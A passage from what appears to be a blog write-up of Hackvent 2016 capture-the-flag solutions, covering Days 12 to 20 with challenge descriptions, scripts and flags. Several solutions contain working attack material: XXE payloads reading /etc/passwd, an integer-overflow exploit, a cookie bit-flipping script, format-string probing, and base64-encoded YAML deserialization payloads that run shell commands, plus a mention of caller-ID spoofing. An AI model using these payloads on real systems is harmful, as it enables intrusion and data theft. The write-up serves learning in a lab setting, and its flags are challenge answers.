#!\/bin\/bash\necho \"\">log.txt\nfor i in {0..999999}\ndo\nperl MandM.gif <<EOF >> log.txt\n$i\nEOF\necho \"[+] $i\" >> log.txt\ndone<\/pre>\n
The PIN 160417 finally worked:
\n> xmar ain’t easter \ud83d\ude09
\nHV16-FWtf-Sh9O-cApF-Q9HQ-qMrp<\/strong><\/p>\n
\n
\"\"<\/a>Day 12 – Crypt-o-Math:<\/h1>\n
Crypto? Math? Maybe both?<\/em><\/p>\n
Description:
\n<\/strong>you remember math classes at school?
\nhopefully you payed attention \u2013 and even if not, there are other ways to solve this challenge.<\/p>\n
\n
\n
Get your lesson here<\/a> \u2026<\/div>\n
<\/div>\n<\/div>\n<\/div>\n
Solution:<\/strong>
\nEasiest way to solve this is\u00a0to bruteforce it:<\/div>\n
#!\/bin\/python\nwith open(\"math.txt\", \"r\") as f:\n    array = []\n    for line in f:\n        array.append(line)\nresult=\"\"\nfor x in array:\n    if not x[0].isdigit():\n        continue\n    numbs = x.split(\",\")\n    i = 32\n    while (i<128):\n        a=i*0x1337*int(numbs[1])%int(numbs[2])\n        if(a==int(numbs[0])):\n            print(\"Found: \" + str(i) + \" - \" + chr(i))\n            result = result+chr(i)\n        i=i+1\nprint(\"Solution: \" + result)<\/pre>\n
Nugget:
\nHV16-laWz-D5yT-0Uzb-DFj0-FIsL<\/strong><\/p>\n
\n
\"\"<\/a>Day 13 – JCoinz:<\/h1>\n
Sometimes less is more<\/em><\/p>\n
Description:
\n<\/strong>The manager of jcoinz told a developer to implement a transaction tax as fast as possible so he can earn more money. Maybe that was a wrong decision\u2026
\nnc challenges.hackvent.hacking-lab.com<\/span> 3117<\/b><\/em>
\njcoinz.jar<\/a>
\nSolution:<\/strong>
\nThis was a really nice challenge! While first analysing the code I thought well, this looks very well implemented. But having a closer look revealed 2 problems. \ud83d\ude42
\n1. Generate an integer overflow to earn more money:
\n– The user input is read with Scanner.nextInt() and only allows integers, so no overflow\u00a0here
\n– integer range is between -2,147,483,648 and 2,147,483,647
\n– When you send a negative number it first is accepted by the Scanner.nextInt() method but later gets inverted to positive, there is our integer overflow! If we\u00a0enter the smallest integer number and it gets inverted to positive it is 1 above the upper boundary! Here are the relevant lines of code:<\/p>\n
public boolean payCoins(int amount) {\n        int decreasedCoins;\n        if (this.getCoins() <= 0) {\n            IO.printStatus(\"-\", \"No more jcoinz!\\n\\n\");\n            return false;\n        }\n        if (amount < 0) {\n            amount *= -1;\n        }\n        if ((decreasedCoins = this.getCoins() - amount - Shop.transactionTax) < 0) {\n            IO.printStatus(\"-\", \"You cannot generate debts!\\n\\n\");\n            return false;\n        }\n        this.setCoins(decreasedCoins);\n        IO.printStatus(\"-\", \"Decreased the account of \\\"\" + this.getName() + \"\\\" by \" + String.valueOf(amount) + \"\\n\");\n        return true;\n    }<\/pre>\n
Exploit:
\n– Send all but 1 coin to charity
\n– send -2,147,483,648 which generates the overflow
\n–> 1 – 2,147,483,648 -2(tax) == Overflow
\n2. XML Entity attack
\n<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:\/\/\/etc\/passwd” >]><foo>&xxe;<\/foo>
\n<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:\/\/\/home\/jcoinz\/” >]><foo>&xxe;<\/foo>
\n<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:\/\/\/home\/jcoinz\/9f40461baba9bf00ba9174beeeb9b8a80c0ffba6” >]><foo>&xxe;<\/foo><\/p>\n
$ nc challenges.hackvent.hacking-lab.com 3117\n$$$$$$$$$\n$ JCOINZ SERVICE $\n$$$$$$$$$\n1 - sends jcoinz to charity\n2 - send a secret xml message to the admin\nYour name: billy\nYour amount of jcoinz: 1336\n[?] Action: 1\n[?] Amount of jcoinz to send: 1333\n[-] Decreased the account of \"billy\" by 1333\n[+] Thank you very much!\n1 - sends jcoinz to charity\n2 - send a secret xml message to the admin\nYour name: billy\nYour amount of jcoinz: 1\n[?] Action: 1\n[?] Amount of jcoinz to send: -2147483648\n[-] Decreased the account of \"billy\" by -2147483648\n[+] Thank you very much!\n1 - sends jcoinz to charity\n2 - send a secret xml message to the admin\nYour name: billy\nYour amount of jcoinz: 2147483647\n[?] Action: 2\n[-] Decreased the account of \"billy\" by 1337\n[?] XML Message: <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM \"file:\/\/\/home\/jcoinz\/9f40461baba9bf00ba9174beeeb9b8a80c0ffba6\" >]><foo>&xxe;<\/foo>\n[+] Your secret xml message: <foo>\nYou did it!\nGreets, MuffinX\nHV16-y4h0-g00t-d33m-c01n-zzzz\nIf you liked this challenge, tweet me: https:\/\/twitter.com\/muffiniks\n<\/foo>\n1 - sends jcoinz to charity\n2 - send a secret xml message to the admin\nYour name: billy\nYour amount of jcoinz: 2147482308\n[?] Action:\n<\/pre>\n
HV16-y4h0-g00t-d33m-c01n-zzzz<\/strong><\/p>\n
\n
\"\"<\/a>Day 14 – Radio War Game:<\/h1>\n
The quieter you become, the more you are able to hear<\/em><\/p>\n
Description:<\/strong>
\nA UK football fan transmits chants and hopes the gods of football pick it up and consider his favorite, Manchester, to win the cup.
\nSanta, while using his ham radio station to receive wish-lists from earth, picked it up and saved a copy for his data lake. Can you help Santa to make sense of the signals?
\nGet the signals<\/a>
\nSolution:<\/strong>
\nI opened the file in Audacity (File\/Import\/Raw Data) which showed a really suspicious pattern. Looks like a binary code.
\n<\/a>
\nBecause of the description I assumed\u00a0the message was encoded by Manchester-Encoding. I researched how this works exactly and it was not too hard to understand. But I had no idea how I would implement this in a script…
\nAs the binary string didn’t look too long I did manual work and wrote down the pattern to a text file:
\n01001000 01010110 00110001 00110110 00101101 00110001 00110011 00110011 00110111 00101101 01010010 01100001 01100100 01101001 00101101 01101111 01010111 01100001 01110010 00101101 01100111 01100001 01101101 01100101 00101101 00110001 00110011 00110011 00110111 00001010
\nConverting the binary string to ASCII text resulted in the nugget:
\nHV16-1337-Radi-oWar-game-1337<\/strong><\/p>\n
\n
\"\"<\/a>Day 15 – SAP – Santas Admin Panel:<\/h1>\n
you better know how to flip around<\/em><\/p>\n
Description:<\/strong>
\nYou got access to Santa\u2019s hompage. But without admin rights there\u2019s nothing to see here\u2026
\nA valid login is: raindeer10 \/ s4nt4<\/strong>
\nAdmin Panel<\/a>
\nSolution:<\/strong>
\nIn the description there is the hint to “flip around”. This must be a bit flipping attack!
\nIf we analyse the website and look what is being transferred, we find the cookie “cmlnaHRz” which translates to “rights” if\u00a0we decode it with base64. This must be our target. I wrote a script to perform the bit-flipping attack and grep the result from the page to see if we were successful. The bit-flipping attack is performed by switching bits which are next to each other, if we’re not successful try the next ones… Read\u00a0the script for more details:<\/p>\n
#!\/usr\/bin\/env python2\nimport cookielib\nimport urllib\nimport urllib2\nimport base64\nUSERNAME = \"raindeer10\"\nPASSWORD = \"s4nt4\"\nURL=\"http:\/\/challenges.hackvent.hacking-lab.com\/4dm1nP4n3l\/index.php\"\nURL_ADMIN=\"http:\/\/challenges.hackvent.hacking-lab.com\/4dm1nP4n3l\/admin.php\"\nCOOKIE_NAME=\"cmlnaHRz\"\nCOOKIE_VALUE=\"5WT4yVGAfS%2Fn0z5MzSbbZd0K3vpWLmhfxuFo85apE%2Bo%3D\"\nlogin_data = urllib.urlencode({'username' : USERNAME, 'password' : PASSWORD})\ncookies = cookielib.LWPCookieJar()\nhandlers = [\n    urllib2.HTTPHandler(debuglevel=0),\n    urllib2.HTTPSHandler(),\n    urllib2.HTTPCookieProcessor(cookies)\n    ]\nopener = urllib2.build_opener(*handlers)\ndef fetch(url, phpsession, cookie):\n    req = urllib2.Request(url)\n    if phpsession:\n        # Set cookies\n        cookies.clear()\n        ck = cookielib.Cookie(version=0, name='PHPSESSID', value=phpsession, port=None, port_specified=False, domain='challenges.hackvent.hacking-lab.com'\n            , domain_specified=False, domain_initial_dot=False, path='\/', path_specified=True, secure=False, expires=None\n            , discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False)\n        cookies.set_cookie(ck)\n        ck2 = cookielib.Cookie(version=0, name=COOKIE_NAME, value=urllib.quote(cookie, 'utf8'), port=None, port_specified=False, domain='challenges.hackvent.hacking-lab.com'\n            , domain_specified=False, domain_initial_dot=False, path='\/', path_specified=True, secure=False, expires=None\n            , discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False)\n        cookies.set_cookie(ck2)\n        #opener.addheaders.append(('Cookie', \"PHPSESSID\" + \"=\" + phpsession + \";\" + urllib.quote(COOKIE_NAME, 'utf8') + \"=\" + urllib.quote(cookie, 'utf8')))\n    return opener.open(req, login_data)\ndef dump_page(resp):\n    return(resp.read())\ndef dump_cookies():\n    data = dict((cookie.name, cookie.value) for cookie in cookies)\n    for cookie in cookies:\n        print(urllib.unquote(cookie.name).decode('utf8'))\n        print(urllib.unquote(cookie.value).decode('utf8'))\n    return data['PHPSESSID']\ndef tobits(s):\n    result = []\n    for c in s:\n        bits = bin(ord(c))[2:]\n        bits = '00000000'[len(bits):] + bits\n        result.extend([int(b) for b in bits])\n    return result\ndef frombits(bits):\n    chars = []\n    for b in range(len(bits) \/ 8):\n        byte = bits[b*8:(b+1)*8]\n        chars.append(chr(int(''.join([str(bit) for bit in byte]), 2)))\n    return ''.join(chars)\nres = fetch(URL, None, None)\nphpsessionid_cookie = dump_cookies()\nc_name = urllib.unquote(COOKIE_NAME).decode('utf8')\nc_value = urllib.unquote(COOKIE_VALUE).decode('utf8')\nbitz = tobits(c_value)\n#print len(bitz)\ni = len(bitz)-1\nwhile(i>=0):\n    # Save for easier restoring\n    bitz_copy = list(bitz)\n    #Flip bits\n    tmp = int(bitz[i-1])\n    bitz[i-1] = int(bitz[i])\n    bitz[i] = int(tmp)\n    print(\"\".join(str(x) for x in bitz))\n    flipped_cookie = str(frombits(bitz))\n    print(\"[+] Try: \" + flipped_cookie + \" ...\")\n    res = fetch(URL_ADMIN, phpsessionid_cookie, flipped_cookie)\n    page = dump_page(res)\n    #print page\n    if \"User Role: Standard\" not in page and \"User Role: None\" not in page:\n        print(\"FOUND!!!\")\n        print(page)\n        break\n    bitz = bitz_copy\n    i-=1<\/pre>\n
After successfully performing the bitflipping attack the page reveals a link to a png file containing a QR code:
\nHV16-R41n-d33r-8yt3-Fl1p-H4ck<\/strong><\/p>\n
\n
\"\"<\/a>Day 16 – Marshmallows:<\/h1>\n
type: \u201cnomnomnom marhshmallow nomnomnom muffin%x was here\u201d<\/em><\/p>\n
Description:<\/strong>
\nThere\u2019s this guy Randy, he loves marshmallows and programming in python and C.
\nProve him by hacking his server, that it\u2019s not a good idea to code if you had too many marshmallows.
\nnc challenges.hackvent.hacking-lab.com 1033<\/strong><\/em>
\nmarshmallows.py<\/a>
\nSolution:<\/strong>
\nIt’s obvious that the first stage is a format string vulnerability. With “%1$s” we can direct access a memory location, the next would be “%2$s” and so on… We need to find the random generated token to get further. It’s a bit hard to exploit, because when reading an uninitialised memory address the program crashes and we have to reconnect. And because it’s an interactive program, we also cannot just write a simple bash script which sends the commands directly as arguments.
\nI used “expect” to automate the format string exploitation, for every memory access we reconnect to the server so we don’t have the problem if the program crashes and closes the connection:<\/p>\n
#!\/usr\/bin\/expect -f\n# Search for token\nset times 0;\nwhile { $times < 300 } {\n   # Connect to Server\n   spawn nc challenges.hackvent.hacking-lab.com 1033\n   set nc_id $spawn_id\n   expect -i $nc_id \">\"\n   send -i $nc_id \"1\\r\"\n   expect -i $nc_id \"Please give me some marshmallows:\"\n   send -i $nc_id \"%$times\\$s\\r\"\n   expect -i $nc_id \">\"\n   set times [ expr $times+1];\n   catch {close -i $nc_id}\n   wait\n}<\/pre>\n
This way I found out the memory location of the random id is at “%294$s”.
\nThe second stage is a YAML Exploit.
\nhttps:\/\/www.kevinlondon.com\/2015\/08\/15\/dangerous-python-functions-pt2.html<\/a>
\nuser_input: !!python\/object\/apply:subprocess.check_output [[ “ls”, “-la”, “\/home\/marshmallows”]]
\nSpecial here is, with the subprocess.check_output we don’t\u00a0get a response, so I used the subprocess call instead:
\nuser_input: !!python\/object\/apply:subprocess.call [[ “ls”, “-la”, “\/home\/marshmallows”]]
\nWith the ls -l command I found the filename for the token and with the second command\u00a0I could actually read it:
\nuser_input: !!python\/object\/apply:subprocess.call [[ “cat”, “\/home\/marshmallows\/5ae64891a82f2290f157e8fa419c2d3d”]]
\nThe YAML requests have\u00a0to be base64 encoded, I posted them unencoded for better readability.
\nHV16-m4rs-hm4l-l0wh-4x0r-sr0x<\/strong>
\nI wrote an auto-pwn script, which does all the steps automatically:<\/p>\n
#!\/usr\/bin\/expect -f\n# Debug\nexp_internal 0\n# Connect to Server\nspawn nc challenges.hackvent.hacking-lab.com 1033\nset nc_id $spawn_id\n# Read out the token (Found with bruteforcing, see while loop below)\nexpect -i $nc_id \">\"\nsend -i $nc_id \"1\\r\"\nexpect -i $nc_id \"Please give me some marshmallows:\"\nsend -i $nc_id \"%294\\$s\\r\"\n# Read out token\n#expect -i $nc_id -re MARSHMALLOW_TOKEN=\\[a-zA-Z0-9-\\]{36}\\r\nexpect -i $nc_id -re (\\[a-zA-Z0-9-\\]{36})\nset token \"$expect_out(0,string)\"\n# Send the token\nexpect -i $nc_id \">\"\nsend -i $nc_id \"send_secret_marshmallows\\r\"\nexpect -i $nc_id \"Token:\"\nsend -i $nc_id \"$token\\r\"\nexpect -i $nc_id \"Your secret marshmallows:\"\n##################\n# YAML Exploit\n# https:\/\/www.kevinlondon.com\/2015\/08\/15\/dangerous-python-functions-pt2.html\n# !!! check_output doesnt work, use \"call\"\n#user_input: !!python\/object\/apply:subprocess.call [[ \"ls\", \"-la\", \"\/home\/marshmallows\"]]\n#---> dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAibHMiLCAiLWxhIiwgIi9ob21lL21hcnNobWFsbG93cyJdXQ==\nsend -i $nc_id \"dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAibHMiLCAiLWxhIiwgIi9ob21lL21hcnNobWFsbG93cyJdXQ==\\r\"\n##################\n#\n# Repeat with different payload to read out the actual file\n#\nexpect -i $nc_id \">\"\nsend -i $nc_id \"send_secret_marshmallows\\r\"\nexpect -i $nc_id \"Token:\"\nsend -i $nc_id \"$token\\r\"\nexpect -i $nc_id \"Your secret marshmallows:\"\n#user_input: !!python\/object\/apply:subprocess.call [[ \"cat\", \"\/home\/marshmallows\/5ae64891a82f2290f157e8fa419c2d3d\"]]\n#---> dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAiY2F0IiwgIi9ob21lL21hcnNobWFsbG93cy81YWU2NDg5MWE4MmYyMjkwZjE1N2U4ZmE0MTljMmQzZCJdXQ==\nsend -i $nc_id \"dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAiY2F0IiwgIi9ob21lL21hcnNobWFsbG93cy81YWU2NDg5MWE4MmYyMjkwZjE1N2U4ZmE0MTljMmQzZCJdXQ==\\r\"\nexpect -i $nc_id \">\"\ncatch {close -i $nc_id}\nwait\n<\/pre>\n
<\/h1>\n
\n
Day\"\"<\/a> 17 – I want to play a Game:<\/h1>\n
Part 2<\/em><\/p>\n
Description:<\/strong>
\nso, you enjoyed the first part? that was soooo 90ties \u2013 here is something more modern for you to play.
\nGimme, gimme, GIMME!<\/a>
\nSolution:<\/strong>
\nAnother reverse engineering challenge.
\nWhile going through the assembly instructions I found out there is a CRC32 calculation of all the “fake_partx” strings, which are 5. After\u00a0the calculations are done there are comparisons with CRC32 checksums and later on we can see there is a printf for HV16-part1-part2-part3-part4-part5. Therefore I came to the conclusion these checksums are the checksums of all the 5 parts we need for\u00a0our nugget! The 5 checksums are 0xC82065C2, 0x94B12C65, 0x7A6CCECE, 0x9493866C and 0x0FAC9FA1.
\nAs I learned in the Trivial Crypto Challenge (Day 07) 4 Byte CRC32 checksums are reversible:
\nhttp:\/\/www.danielvik.com\/2010\/10\/calculating-reverse-crc.html<\/a>
\nI used the reverseCRC tool and modified it so it would calculate the\u00a0values we need. The main method in the ReverseCRC.cpp was adapted like this:<\/p>\n
int main(void)\n{\n    testOne(0x0, 0xC82065C2);\n    testOne(0x0, 0x94B12C65);\n    testOne(0x0, 0x7A6CCECE);\n    testOne(0x0, 0x9493866C);\n    testOne(0x0, 0x0FAC9FA1);\n    return 0;\n}\n<\/pre>\n
Which results in this:<\/p>\n
$ .\/revcrc\ninitial: 0x00000000 OK   -  bytes to add: { 0x38, 0x58, 0x39, 0x7a }\ninitial: 0x00000000 OK   -  bytes to add: { 0x79, 0x6a, 0x4b, 0x57 }\ninitial: 0x00000000 OK   -  bytes to add: { 0x39, 0x4d, 0x42, 0x54 }\ninitial: 0x00000000 OK   -  bytes to add: { 0x31, 0x65, 0x61, 0x36 }\ninitial: 0x00000000 OK   -  bytes to add: { 0x56, 0x59, 0x39, 0x6a }<\/pre>\n
And if we convert the bytes to ASCII we get our nugget:
\nHV16-8X9z-yjKW-9MBT-1ea6-VY9j<\/strong><\/p>\n
\n
\"\"<\/a>Day 18 – Calling Santa:<\/h1>\n
restricted to 1337s<\/em><\/p>\n
Description:<\/strong>
\nAttention: this is not a toll-free number!
\nThis challenge can be expensive, depending on your living country. Consider international dialing costs!<\/p>\n
Santa has a voice mail box on +41 445 05 1337. But his voice mail box has caller ID protection activated.
\nIf you call from +41 76 000 00 00, you can have a nice talk and your wish will be fulfilled.<\/div>\n
Solution:<\/strong>
\n1. Used a spoof service
\nhttps:\/\/www.spoofcard.com\/
\n2. After trying around I found the right combination:\u00a01-13-133-1337<\/strong>
\nNugget:
\nHV16-PKPK-UKUK-AKAK-CKCK-FUCK<\/strong><\/p>\n
\n
\"\"<\/a>Day 19 – Zebra Code:<\/h1>\n
Get it straight<\/em><\/p>\n
Description:<\/strong>
\nGet the key and the encrypted message.
\nKey<\/a> and message<\/a> links
\nSolution:<\/strong>
\n1. Map the vectors to the image
\n2. Go trough the lines and record every pixel if black\/white
\n3. Finally generate barcode from the result
\nSolved this with the Bresenham’s line algorithm:
\nhttps:\/\/en.wikipedia.org\/wiki\/Bresenham’s_line_algorithm<\/a><\/p>\n
#!\/usr\/bin\/python\nimport cv2\nimport numpy as np\ncoords = [804, 409, 746, 430, 772, 395, 742, 379, 776, 340, 707, 346, 712, 383, 808, 325, 747, 291, 688, 331, 635, 406, 587, 325, 622, 312, 651, 279, 622, 307, 638, 347, 626, 412, 633, 454, 668, 418, 651, 381, 622, 412, 615, 313, 590, 402, 550, 352, 567, 370, 584, 344, 609, 275, 620, 323, 641, 282, 676, 302, 654, 323, 659, 363, 669, 400, 698, 359, 730, 359, 762, 340, 806, 360, 736, 390, 777, 388, 770, 419, 791, 412, 793, 387, 752, 402, 782, 362, 771, 321, 756, 344, 720, 317, 751, 310, 738, 262, 701, 242, 669, 296, 675, 337, 656, 376, 627, 399, 633, 347, 611, 323, 650, 283, 672, 262, 645, 293, 641, 322, 610, 352, 607, 375, 617, 410, 661, 353, 640, 328, 689, 275, 691, 319, 732, 315, 759, 352, 794, 319, 763, 368, 819, 355, 814, 305, 777, 284, 753, 352, 693, 368, 748, 304, 710, 281, 693, 317, 619, 310, 647, 340, 696, 321, 730, 276, 775, 268, 732, 311, 809, 318, 761, 373, 732, 349, 749, 316, 812, 323, 742, 302, 707, 326, 689, 258, 660, 308, 662, 361, 625, 429, 605, 391, 606, 340, 648, 281, 666, 309, 651, 330, 736, 277, 735, 312, 759, 339, 783, 264, 721, 271, 666, 323, 649, 328, 650, 274, 619, 278, 615, 318, 607, 398, 622, 438, 625, 391, 655, 409, 654, 326, 692, 329, 705, 290, 675, 305, 718, 239, 780, 300, 719, 316, 755, 292, 801, 334, 770, 336, 787, 360, 735, 365, 731, 393, 815, 380, 766, 368, 731, 353, 760, 341, 714, 328, 740, 308, 694, 306, 652, 330, 685, 274, 633, 296, 619, 320, 631, 357, 657, 323, 766, 305, 700, 250, 636, 343, 651, 392, 701, 367, 711, 287, 680, 356, 682, 288, 756, 278, 740, 241, 705, 284, 632, 286, 618, 311, 673, 311, 614, 335, 603, 455, 627, 409, 648, 439, 672, 392, 696, 368, 715, 384, 745, 352, 741, 301, 788, 298, 722, 281, 781, 343, 715, 338, 708, 280, 798, 295, 752, 274, 798, 285, 729, 322, 755, 363, 774, 295, 793, 332, 763, 341, 728, 420, 778, 420, 810, 406, 766, 389, 805, 382, 743, 413, 757, 372, 784, 331, 728, 366, 713, 328, 744, 310, 706, 288, 679, 346, 629, 365, 611, 325, 651, 333, 696, 265, 715, 291, 709, 339, 744, 277, 802, 293, 747, 307, 786, 324, 799, 366, 768, 327, 721, 380, 771, 288, 819, 319, 783, 326, 744, 310, 797, 362, 738, 340, 730, 393, 775, 366, 710, 340, 779, 291, 805, 342, 715, 266, 712, 352, 648, 420, 624, 363, 644, 276, 598, 319, 633, 312, 585, 359, 565, 306, 571, 346, 591, 410, 584, 327, 624, 319, 656, 303, 691, 330, 656, 372, 690, 318, 734, 313, 719, 269, 687, 270, 669, 299, 762, 274, 780, 299, 703, 304, 711, 342, 819, 329, 768, 287, 718, 335, 757, 343, 735, 262, 697, 249, 632, 351, 601, 354, 665, 243, 687, 241, 664, 300, 729, 260, 694, 321, 749, 298, 808, 290, 785, 326, 710, 276, 677, 294, 648, 333]\ndef bresenham(x0, y0, x1, y1):\n    \"\"\"Yield integer coordinates on the line from (x0, y0) to (x1, y1).\n    Input coordinates should be integers.\n    The result will contain both the start and the end point.\n    \"\"\"\n    dx = x1 - x0\n    dy = y1 - y0\n    xsign = 1 if dx > 0 else -1\n    ysign = 1 if dy > 0 else -1\n    dx = abs(dx)\n    dy = abs(dy)\n    if dx > dy:\n        xx, xy, yx, yy = xsign, 0, 0, ysign\n    else:\n        dx, dy = dy, dx\n        xx, xy, yx, yy = 0, ysign, xsign, 0\n    D = 2*dy - dx\n    y = 0\n    for x in range(dx + 1):\n        yield x0 + x*xx + y*yx, y0 + x*xy + y*yy\n        if D > 0:\n            y += 1\n            D -= dx\n        D += dy\nxy = []\nbinstr = []\nimg = cv2.imread('zebra4.png', cv2.IMREAD_GRAYSCALE)\nfor i in range(0, len(coords)-3, 2):\n    x1, y1 = coords[i:i+2]\n    x2, y2 = coords[i+2:i+4]\n    for x, y in list(bresenham(x1, y1, x2, y2)):\n        binstr.append(str(int(img[y, x] > 128)))\nbarcode = np.zeros((1000, len(binstr)))\nfor i, v in enumerate(binstr):\n    barcode[:, i:i+1] = v\nbarcode = cv2.resize(barcode, (960, 540))\ncv2.imshow('yo', barcode)\ncv2.waitKey(0)<\/pre>\n
@Thanks to orgalorg for the help!<\/strong>
\n<\/a>Scanning the generated barcode gave us the nugget:
\nHV16-kW2j-jE4w-ykh6-aF7j-0rcQ<\/strong><\/p>\n
\n
\"\"<\/a>Day 20 – MitT:<\/h1>\n
Men in the Thing<\/em><\/p>\n
Description:<\/strong>
\nYou bought a very cool retro weather station.<\/p>\n